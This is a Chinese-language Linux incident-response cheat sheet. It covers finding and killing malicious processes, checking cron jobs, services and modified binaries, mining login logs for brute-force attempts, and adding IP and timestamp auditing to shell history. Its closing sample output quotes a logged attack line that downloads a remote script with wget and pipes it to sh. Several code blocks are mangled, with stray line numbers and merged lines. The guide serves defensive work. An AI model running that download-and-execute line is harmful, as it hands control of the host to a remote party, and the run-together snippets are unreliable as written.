Linux应急响应

一、识别现象

1
2
3
4
top	#检查占用率高的可疑进程(>70%)
枚举进程命令行:ps -aux #命令行中带有url等奇怪的字符串时注意
while true; do netstat -antp | grep [ip]; done #监控与目标IP通信的进程
history #遍历主机历史命令,查找有无恶意命令

有时安全网关检测到的不全是恶意IP,还有可能是个域名,这种情况下,域名对应的IP是变化的,我们不能直接用上述方法进行监控

我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。

二、清除病毒

1
2
3
4
ps -elf | grep [pid]
kill -9 [pid]#查找和清除可疑程序
ls -al /proc/[pid]/exe#定位病毒进程对应的文件路径
rm -f [exe_path]

三、闭环兜底

检查是否存在可疑定时任务

1
2
3
4
5
6
7
8
9
10
11
12
crontab-l	#枚举定时任务
cat /etc/anacrontab #查看anacron异步定时任务

systemctl status #检查是否存在可疑服务

find /usr/bin/ /usr/sbin/ /bin/ /usr/local/bin/ -type f -mtime +3 | xargs ls -la#枚举系统文件夹的文件,按修改事件排序查看3天内被修改过的文件

lsof -p[pid] #监控守护进程的行为

扫描是否存在恶意驱动
lsmod #枚举/扫描系统驱动(so文件)
也可以安装chkrootkit进行扫描/安装rkhunter进行扫描

四、检查修复

1
2
3
4
5
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'#查询log主机登陆日志

grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c#定位有爆破的源IP

grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr#爆破日志的用户名密码

添加命令审计

为历史的命令增加登录的IP地址、执行命令时间等信息:

[1]保存1万条命令:

1
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile

[2]在/etc/profile的文件尾部添加如下行数配置信息:

1
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "  shopt -s histappend  export PROMPT_COMMAND="history -a"

[3]让配置生效:

1
source /etc/profile

生成效果:

1
762019-10-2817:05:34113.110.229.230 wget -q -T180 -O-http://103.219.112.66:8000/i.sh) | sh